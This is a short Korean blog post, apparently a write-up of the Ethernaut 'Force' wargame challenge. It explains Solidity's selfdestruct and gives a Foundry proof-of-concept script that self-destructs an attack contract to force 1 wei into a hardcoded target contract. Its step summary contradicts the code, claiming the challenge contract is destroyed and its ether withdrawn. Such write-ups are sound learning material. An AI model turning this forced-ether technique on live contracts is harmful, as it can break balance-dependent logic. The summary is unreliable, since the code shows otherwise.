The Ethernaut : Force

세인·2025년 12월 3일

selfdestruct(address recipient)

  • 컨트랙트를 파괴하고, 남은 이더를 recipient 주소로 보냄. → 호출하면 컨트랙트는 더 이상 사용 불가.

문제 코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

로직 정리
  1. 해당 문제의 컨트랙트를 파괴하고
  2. 해당 컨트랙트 주소에 있는 모든 ether를 인출

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {Force} from "../src/Force.sol";

contract Attack{
    address public target;

    constructor(address _target) payable {
        target = _target;
    }
    function destruct() public{
	   //지금 이 코드를 실행하는 컨트랙트(Attack)를 파괴하고,
		 //그때 Attack이 들고 있던 잔액을 target 주소로 보냄
			   selfdestruct(payable(target));  
    }
}

contract PoC is Script {
    address public target = 0x63b0c0950F3570e63D9bc06EcB538d8A9575Ef6e;
    uint256 pk = vm.envUint("PRIV_KEY");

    function run() public {
        vm.startBroadcast(pk);
        
        Attack solve = new Attack{value : 1 wei}(target);
        solve.destruct();

        vm.stopBroadcast();
    }
}
profile
세종과학기지 세인지부

0개의 댓글